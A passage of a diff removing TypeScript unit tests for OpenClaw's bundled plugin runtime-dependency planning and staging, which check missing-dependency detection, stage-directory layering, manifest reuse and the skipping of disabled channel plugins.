config: { - channels: { slack: { botToken: "xoxb-token" } }, - }, - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - }); - - expect(result.deps.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "semver@7.7.4", - "tslog@^4.10.2", - ]); - expect(result.deps.map((dep) => dep.pluginIds)).toEqual([["openclaw-core"], ["openclaw-core"]]); - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "semver@7.7.4", - "tslog@^4.10.2", - ]); - }); - - it("deduplicates declared package mirror deps already declared by a plugin", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ - name: "openclaw", - version: "2026.4.25", - dependencies: { tslog: "^4.10.2" }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["tslog"], - }, - }, - }), - ); - writeBundledPluginPackage({ - packageRoot, - pluginId: "logger-plugin", - deps: { tslog: "^4.10.2" }, - enabledByDefault: true, - }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - }); - - expect(result.deps.map((dep) => `${dep.name}@${dep.version}`)).toEqual(["tslog@^4.10.2"]); - expect(result.deps[0]?.pluginIds).toEqual(["logger-plugin", "openclaw-core"]); - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual(["tslog@^4.10.2"]); - }); - - it("keeps the complete staging plan without reporting present deps as missing", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.25" }), - ); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "memory-lancedb", - deps: { - "@lancedb/lancedb": "^0.27.2", - openai: "^6.34.0", - typebox: "1.1.33", - }, - enabledByDefault: true, - }); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - writeInstalledPackage(installRoot, "@lancedb/lancedb", "0.27.2"); - writeInstalledPackage(installRoot, "openai", "6.34.0"); - writeInstalledPackage(installRoot, "typebox", "1.1.33"); - writeGeneratedRuntimeDepsManifest(installRoot, [ - "@lancedb/lancedb@^0.27.2", - "openai@^6.34.0", - "typebox@1.1.33", - "@mariozechner/pi-ai@0.70.5", - ]); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env, - }); - - expect(result.deps.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "@lancedb/lancedb@^0.27.2", - "openai@^6.34.0", - "typebox@1.1.33", - ]); - expect(result.missing).toEqual([]); - }); - - it("keeps a complete install plan while missing only absent deps", () => { - const packageRoot = makeTempDir(); - const baselineStageDir = makeTempDir(); - const writableStageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.25" }), - ); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "slack", - deps: { - "@slack/web-api": "7.15.1", - grammy: "1.37.0", - }, - enabledByDefault: true, - }); - const env = { - OPENCLAW_PLUGIN_STAGE_DIR: [baselineStageDir, writableStageDir].join(path.delimiter), - }; - const installRootPlan = resolveBundledRuntimeDependencyInstallRootPlan(pluginRoot, { env }); - writeInstalledPackage( - installRootPlan.searchRoots[0] ?? baselineStageDir, - "@slack/web-api", - "7.15.1", - ); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env, - }); - - expect(installRootPlan.installRoot).toContain(writableStageDir); - expect(result.deps.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "@slack/web-api@7.15.1", - "grammy@1.37.0", - ]); - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual(["grammy@1.37.0"]); - }); -}); - -describe("ensureBundledPluginRuntimeDeps", () => { - it("installs plugin-local runtime deps when one is missing", () => { - const packageRoot = makeTempDir(); - const extensionsRoot = path.join(packageRoot, "dist", "extensions"); - const pluginRoot = path.join(extensionsRoot, "bedrock"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "already-present": "1.0.0", - missing: "2.0.0", - }, - }), - ); - fs.mkdirSync(path.join(pluginRoot, "node_modules", "already-present"), { - recursive: true, - }); - fs.writeFileSync( - path.join(pluginRoot, "node_modules", "already-present", "package.json"), - JSON.stringify({ name: "already-present", version: "1.0.0" }), - ); - - const calls: Array<{ - installRoot: string; - installExecutionRoot?: string; - missingSpecs: string[]; - installSpecs?: string[]; - }> = []; - - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "bedrock", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["already-present@1.0.0", "missing@2.0.0"], - }); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["already-present@1.0.0", "missing@2.0.0"], - installSpecs: ["already-present@1.0.0", "missing@2.0.0"], - }, - ]); - expect(installRoot).not.toBe(pluginRoot); - }); - - it("reports missing runtime deps without installing when repair is forbidden", () => { - const packageRoot = makeTempDir(); - const extensionsRoot = path.join(packageRoot, "dist", "extensions"); - const pluginRoot = path.join(extensionsRoot, "bedrock"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - missing: "2.0.0", - }, - }), - ); - - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - expect(() => - ensureBundledPluginRuntimeDeps({ - env: {}, - installMissingDeps: false, - installDeps: () => { - throw new Error("must not install"); - }, - pluginId: "bedrock", - pluginRoot, - }), - ).toThrow(BundledRuntimeDepsMissingError); - - let caught: unknown; - try { - ensureBundledPluginRuntimeDeps({ - env: {}, - installMissingDeps: false, - pluginId: "bedrock", - pluginRoot, - }); - } catch (error) { - caught = error; - } - expect(caught).toBeInstanceOf(BundledRuntimeDepsMissingError); - expect((caught as BundledRuntimeDepsMissingError).missingSpecs).toEqual(["missing@2.0.0"]); - expect((caught as BundledRuntimeDepsMissingError).installRoot).toBe(installRoot); - }); - - it("skips workspace-only runtime deps before npm install", () => { - const packageRoot = makeTempDir(); - const extensionsRoot = path.join(packageRoot, "dist", "extensions"); - const pluginRoot = path.join(extensionsRoot, "qa-channel"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "@openclaw/plugin-sdk": "workspace:*", - "external-runtime": "^1.2.3", - openclaw: "workspace:*", - }, - }), - ); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "qa-channel", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["external-runtime@^1.2.3"], - }); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["external-runtime@^1.2.3"], - installSpecs: ["external-runtime@^1.2.3"], - }, - ]); - expect(installRoot).not.toBe(pluginRoot); - }); - - it("installs declared package mirror deps even when the plugin has no external deps", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ - name: "openclaw", - version: "2026.4.25", - dependencies: { tslog: "^4.10.2" }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["tslog"], - }, - }, - }), - ); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "slack"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync(path.join(pluginRoot, "package.json"), JSON.stringify({ dependencies: {} })); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - installDeps: (params) => { - calls.push(params); - writeInstalledPackage(params.installRoot, "tokenjuice", "0.6.1"); - }, - pluginId: "slack", - pluginRoot, - }); - - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - }); - expect(result).toEqual({ - installedSpecs: ["tslog@^4.10.2"], - }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["tslog@^4.10.2"], - installSpecs: ["tslog@^4.10.2"], - }, - ]); - }); - - it("uses external staging when a packaged plugin declares workspace:* deps", () => { - // Regression guard for packaged/Docker bundled plugins whose `package.json` - // still lists `"@openclaw/plugin-sdk": "workspace:*"` (and similar) alongside - // concrete runtime deps. Without a distinct execution root, `npm install` - // would resolve the plugin's own cwd manifest and fail with - // EUNSUPPORTEDPROTOCOL on the `workspace:` protocol. - const packageRoot = makeTempDir(); - const extensionsRoot = path.join(packageRoot, "dist", "extensions"); - const pluginRoot = path.join(extensionsRoot, "anthropic"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "@openclaw/plugin-sdk": "workspace:*", - "@anthropic-ai/sdk": "^0.50.0", - }, - }), - ); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "anthropic", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["@anthropic-ai/sdk@^0.50.0"], - }); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["@anthropic-ai/sdk@^0.50.0"], - installSpecs: ["@anthropic-ai/sdk@^0.50.0"], - }, - ]); - expect(installRoot).not.toBe(pluginRoot); - }); - - it("installs runtime deps into an external stage dir and exposes loader aliases", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.22" }), - ); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "slack"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "@slack/web-api": "7.15.1", - }, - }), - ); - - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env, - installDeps: (params) => { - calls.push(params); - writeInstalledPackage(params.installRoot, "@slack/web-api", "7.15.1"); - }, - pluginId: "slack", - pluginRoot, - }); - - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - expect(result).toEqual({ - installedSpecs: ["@slack/web-api@7.15.1"], - }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["@slack/web-api@7.15.1"], - installSpecs: ["@slack/web-api@7.15.1"], - }, - ]); - expect(installRoot).toContain(stageDir); - expect(installRoot).not.toBe(pluginRoot); - expect(createBundledRuntimeDependencyAliasMap({ pluginRoot, installRoot })).toEqual({ - "@slack/web-api": path.join(installRoot, "node_modules", "@slack", "web-api"), - }); - - const second = ensureBundledPluginRuntimeDeps({ - env, - installDeps: () => { - throw new Error("external staged deps should not reinstall"); - }, - pluginId: "slack", - pluginRoot, - }); - expect(second).toEqual({ installedSpecs: [] }); - }); - - it("reuses compatible sibling staged deps during plugin runtime prep", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.29" }), - ); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "slack"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "@slack/web-api": "7.15.1", - }, - }), - ); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - const previousRoot = path.join( - stageDir, - path.basename(installRoot).replace("openclaw-2026.4.29-", "openclaw-2026.4.28-"), - ); - writeInstalledPackage(previousRoot, "@slack/web-api", "7.15.1"); - writeGeneratedRuntimeDepsManifest(previousRoot, ["@slack/web-api@7.15.1"]); - - const result = ensureBundledPluginRuntimeDeps({ - env, - installDeps: () => { - throw new Error("compatible sibling staged deps should not reinstall"); - }, - pluginId: "slack", - pluginRoot, - }); - - expect(result).toEqual({ installedSpecs: [] }); - expect(fs.lstatSync(path.join(installRoot, "node_modules")).isSymbolicLink()).toBe(true); - expect(isRuntimeDepsPlanMaterialized(installRoot, ["@slack/web-api@7.15.1"])).toBe(true); - }); - - it("installs the complete plan into the final layered stage dir", () => { - const packageRoot = makeTempDir(); - const baselineStageDir = makeTempDir(); - const writableStageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.25" }), - ); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "slack"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "@slack/web-api": "7.15.1", - grammy: "1.37.0", - }, - }), - ); - const env = { - OPENCLAW_PLUGIN_STAGE_DIR: [baselineStageDir, writableStageDir].join(path.delimiter), - }; - const installRootPlan = resolveBundledRuntimeDependencyInstallRootPlan(pluginRoot, { env }); - const baselineRoot = installRootPlan.searchRoots[0] ?? baselineStageDir; - writeInstalledPackage(baselineRoot, "@slack/web-api", "7.15.1"); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env, - installDeps: (params) => { - calls.push(params); - writeInstalledPackage(params.installRoot, "@slack/web-api", "7.15.1"); - writeInstalledPackage(params.installRoot, "grammy", "1.37.0"); - }, - pluginId: "slack", - pluginRoot, - }); - - expect(installRootPlan.installRoot).toContain(writableStageDir); - expect(result).toEqual({ - installedSpecs: ["@slack/web-api@7.15.1", "grammy@1.37.0"], - }); - expect(calls).toEqual([ - { - installRoot: installRootPlan.installRoot, - missingSpecs: ["@slack/web-api@7.15.1", "grammy@1.37.0"], - installSpecs: ["@slack/web-api@7.15.1", "grammy@1.37.0"], - }, - ]); - expect( - fs.existsSync( - path.join(installRootPlan.installRoot, "node_modules", "@slack", "web-api", "package.json"), - ), - ).toBe(true); - }); - - it("stages complete package-level deps once across separate loader passes", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.22" }), - ); - const alphaRoot = path.join(packageRoot, "dist", "extensions", "alpha"); - const betaRoot = path.join(packageRoot, "dist", "extensions", "beta"); - fs.mkdirSync(alphaRoot, { recursive: true }); - fs.mkdirSync(betaRoot, { recursive: true }); - fs.writeFileSync( - path.join(alphaRoot, "package.json"), - JSON.stringify({ dependencies: { "alpha-runtime": "1.0.0" } }), - ); - fs.writeFileSync( - path.join(betaRoot, "package.json"), - JSON.stringify({ dependencies: { "beta-runtime": "2.0.0" } }), - ); - - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const calls: BundledRuntimeDepsInstallParams[] = []; - const installDeps = (params: BundledRuntimeDepsInstallParams) => { - calls.push(params); - for (const spec of params.installSpecs ?? params.missingSpecs) { - const name = spec.slice(0, spec.lastIndexOf("@")); - writeInstalledPackage(params.installRoot, name, spec.slice(spec.lastIndexOf("@") + 1)); - } - }; - - ensureBundledPluginRuntimeDeps({ - config: { - plugins: { - entries: { - alpha: { enabled: true }, - beta: { enabled: true }, - }, - }, - }, - env, - installDeps, - pluginId: "alpha", - pluginRoot: alphaRoot, - }); - ensureBundledPluginRuntimeDeps({ - config: { - plugins: { - entries: { - alpha: { enabled: true }, - beta: { enabled: true }, - }, - }, - }, - env, - installDeps, - pluginId: "beta", - pluginRoot: betaRoot, - }); - - const installRoot = resolveBundledRuntimeDependencyInstallRoot(alphaRoot, { env }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["alpha-runtime@1.0.0", "beta-runtime@2.0.0"], - installSpecs: ["alpha-runtime@1.0.0", "beta-runtime@2.0.0"], - }, - ]); - }); - - it("uses the complete package-level plan when no config is provided", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.22" }), - ); - const alphaRoot = path.join(packageRoot, "dist", "extensions", "alpha"); - const betaRoot = path.join(packageRoot, "dist", "extensions", "beta"); - fs.mkdirSync(alphaRoot, { recursive: true }); - fs.mkdirSync(betaRoot, { recursive: true }); - fs.writeFileSync( - path.join(alphaRoot, "package.json"), - JSON.stringify({ dependencies: { "alpha-runtime": "1.0.0" } }), - ); - fs.writeFileSync( - path.join(betaRoot, "package.json"), - JSON.stringify({ dependencies: { "beta-runtime": "2.0.0" } }), - ); - - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const calls: BundledRuntimeDepsInstallParams[] = []; - ensureBundledPluginRuntimeDeps({ - env, - installDeps: (params) => { - calls.push(params); - for (const spec of params.installSpecs ?? params.missingSpecs) { - const name = spec.slice(0, spec.lastIndexOf("@")); - writeInstalledPackage(params.installRoot, name, spec.slice(spec.lastIndexOf("@") + 1)); - } - }, - pluginId: "alpha", - pluginRoot: alphaRoot, - }); - - const installRoot = resolveBundledRuntimeDependencyInstallRoot(alphaRoot, { env }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["alpha-runtime@1.0.0", "beta-runtime@2.0.0"], - installSpecs: ["alpha-runtime@1.0.0", "beta-runtime@2.0.0"], - }, - ]); - }); - - it("excludes disabled bundled channel owners from the package-level plan", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27" }), - ); - const browserRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "browser", - deps: { "browser-runtime": "1.0.0" }, - enabledByDefault: true, - }); - writeBundledPluginPackage({ - packageRoot, - pluginId: "telegram", - deps: { grammy: "1.37.0" }, - channels: ["telegram"], - }); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(browserRoot, { env }); - writeInstalledPackage(installRoot, "browser-runtime", "1.0.0"); - writeInstalledPackage(installRoot, "grammy", "1.37.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["browser-runtime@1.0.0"]); - - const result = ensureBundledPluginRuntimeDeps({ - env, - pluginId: "browser", - pluginRoot: browserRoot, - config: { - plugins: { enabled: true }, - channels: { - telegram: { enabled: false, botToken: "123:disabled" }, - }, - }, - installDeps: () => { - throw new Error("already staged active deps should not reinstall"); - }, - }); - - expect(result).toEqual({ installedSpecs: [] }); - expect(fs.existsSync(path.join(installRoot, ".openclaw-runtime-deps.json"))).toBe(false); - }); - - it("does not install disabled channel deps during a package-level lazy plugin repair", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27" }), - ); - const acpxRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "acpx", - deps: { "acpx-runtime": "1.0.0" }, - enabledByDefault: true, - }); - writeBundledPluginPackage({ - packageRoot, - pluginId: "feishu", - deps: { "@larksuiteoapi/node-sdk": "^1.62.0" }, - channels: ["feishu"], - }); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(acpxRoot, { env }); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env, - pluginId: "acpx", - pluginRoot: acpxRoot, - config: { - plugins: { enabled: true }, - channels: { - feishu: { enabled: false, appId: "disabled" }, - }, - }, - installDeps: (params) => { - calls.push(params); - writeInstalledPackage(params.installRoot, "acpx-runtime", "1.0.0"); - }, - }); - - expect(result).toEqual({ installedSpecs: ["acpx-runtime@1.0.0"] }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["acpx-runtime@1.0.0"], - installSpecs: ["acpx-runtime@1.0.0"], - }, - ]); - expect( - fs.existsSync( - path.join(installRoot, "node_modules", "@larksuiteoapi", "node-sdk", "package.json"), - ), - ).toBe(false); - }); - - it("reruns lazy package-level repair when node_modules exists without a generated manifest", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27" }), - ); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "alpha", - deps: { "alpha-runtime": "1.0.0" }, - enabledByDefault: true, - }); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - writeInstalledPackage(installRoot, "alpha-runtime", "1.0.0"); - spawnSyncMock.mockImplementation((_command, _args, options) => { - writeInstalledPackage(String(options?.cwd ?? ""), "alpha-runtime", "1.0.0"); - return { - pid: 123, - output: [], - stdout: "", - stderr: "", - signal: null, - status: 0, - }; - }); - - const result = ensureBundledPluginRuntimeDeps({ - env, - pluginId: "alpha", - pluginRoot, - }); - - expect(result).toEqual({ installedSpecs: ["alpha-runtime@1.0.0"] }); - expect(spawnSyncMock).toHaveBeenCalledOnce(); - }); - - it("uses the generated manifest for the complete package-level fast path", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27" }), - ); - const alphaRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "alpha", - deps: { "alpha-runtime": "1.0.0" }, - enabledByDefault: true, - }); - writeBundledPluginPackage({ - packageRoot, - pluginId: "beta", - deps: { "beta-runtime": "2.0.0" }, - enabledByDefault: true, - }); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(alphaRoot, { env }); - writeInstalledPackage(installRoot, "alpha-runtime", "1.0.0"); - writeInstalledPackage(installRoot, "beta-runtime", "2.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0", "beta-runtime@2.0.0"]); - - const result = ensureBundledPluginRuntimeDeps({ - env, - pluginId: "alpha", - pluginRoot: alphaRoot, - installDeps: () => { - throw new Error("current runtime deps should not reinstall"); - }, - }); - - expect(result).toEqual({ installedSpecs: [] }); - }); - - it("does not scan every bundled manifest when the requested package-level deps are already materialized", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.29" }), - ); - const alphaRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "alpha", - deps: { "alpha-runtime": "1.0.0" }, - enabledByDefault: true, - }); - const betaRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "beta", - deps: { "beta-runtime": "2.0.0" }, - enabledByDefault: true, - }); - const betaManifestPath = path.join(betaRoot, "openclaw.plugin.json"); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(alphaRoot, { env }); - writeInstalledPackage(installRoot, "alpha-runtime", "1.0.0"); - writeInstalledPackage(installRoot, "beta-runtime", "2.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0", "beta-runtime@2.0.0"]); - const readFileSyncSpy = vi.spyOn(fs, "readFileSync"); - - const result = ensureBundledPluginRuntimeDeps({ - env, - pluginId: "alpha", - pluginRoot: alphaRoot, - installDeps: () => { - throw new Error("already materialized package-level deps should not reinstall"); - }, - }); - - expect(result).toEqual({ installedSpecs: [] }); - expect( - readFileSyncSpy.mock.calls.filter( - (call) => path.resolve(String(call[0])) === betaManifestPath, - ), - ).toHaveLength(0); - }); - - it("does not skip missing manifest runtime deps when package deps are materialized", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.29" }), - ); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "memory-core", - deps: { chokidar: "5.0.0", typebox: "1.1.34" }, - runtimeDependencies: { - localMemoryEmbedding: ["node-llama-cpp@3.18.1"], - }, - }); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - writeInstalledPackage(installRoot, "chokidar", "5.0.0"); - writeInstalledPackage(installRoot, "typebox", "1.1.34"); - writeGeneratedRuntimeDepsManifest(installRoot, ["chokidar@5.0.0", "typebox@1.1.34"]); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env, - config: { - agents: { - defaults: { - memorySearch: { provider: "local" }, - }, - }, - }, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "memory-core", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["chokidar@5.0.0", "node-llama-cpp@3.18.1", "typebox@1.1.34"], - }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["chokidar@5.0.0", "node-llama-cpp@3.18.1", "typebox@1.1.34"], - installSpecs: ["chokidar@5.0.0", "node-llama-cpp@3.18.1", "typebox@1.1.34"], - }, - ]); - }); - - it("accepts generated package-level runtime-deps supersets without reinstalling", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.29" }), - ); - const alphaRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "alpha", - deps: { "alpha-runtime": "1.0.0" }, - enabledByDefault: true, - }); - writeBundledPluginPackage({ - packageRoot, - pluginId: "tokenjuice", - deps: { tokenjuice: "0.7.0" }, - enabledByDefault: true, - }); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(alphaRoot, { env }); - writeInstalledPackage(installRoot, "alpha-runtime", "1.0.0"); - writeInstalledPackage(installRoot, "tokenjuice", "0.7.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0", "tokenjuice@0.7.0"]); - - const result = ensureBundledPluginRuntimeDeps({ - env, - config: { - plugins: { - allow: ["alpha"], - entries: { alpha: { enabled: true } }, - }, - }, - pluginId: "alpha", - pluginRoot: alphaRoot, - installDeps: () => { - throw new Error("compatible runtime deps superset should not reinstall"); - }, - }); - - expect(result).toEqual({ installedSpecs: [] }); - }); - - it("accepts package.json runtime-deps supersets when generated metadata is absent", () => { - const installRoot = makeTempDir(); - fs.writeFileSync( - path.join(installRoot, "package.json"), - JSON.stringify({ - name: "openclaw-bundled-runtime-deps", - dependencies: { - "alpha-runtime": "1.0.0", - tokenjuice: "0.7.0", - }, - }), - ); - writeInstalledPackage(installRoot, "alpha-runtime", "1.0.0"); - - expect(isRuntimeDepsPlanMaterialized(installRoot, ["alpha-runtime@1.0.0"])).toBe(true); - }); - - it("drops stale package versions from the next package-level plan", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27" }), - ); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "alpha", - deps: { "alpha-runtime": "2.0.0" }, - enabledByDefault: true, - }); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - writeInstalledPackage(installRoot, "alpha-runtime", "1.0.0"); - writeInstalledPackage(installRoot, "beta-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0", "beta-runtime@1.0.0"]); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env, - pluginId: "alpha", - pluginRoot, - installDeps: (params) => { - calls.push(params); - writeInstalledPackage(params.installRoot, "alpha-runtime", "2.0.0"); - }, - }); - - expect(result).toEqual({ installedSpecs: ["alpha-runtime@2.0.0"] }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["alpha-runtime@2.0.0"], - installSpecs: ["alpha-runtime@2.0.0"], - }, - ]); - }); - - it("reinstalls when the generated manifest is current but the installed package version is stale", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27" }), - ); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "alpha", - deps: { "alpha-runtime": "2.0.0" }, - enabledByDefault: true, - }); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - writeInstalledPackage(installRoot, "alpha-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@2.0.0"]); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env, - pluginId: "alpha", - pluginRoot, - installDeps: (params) => { - 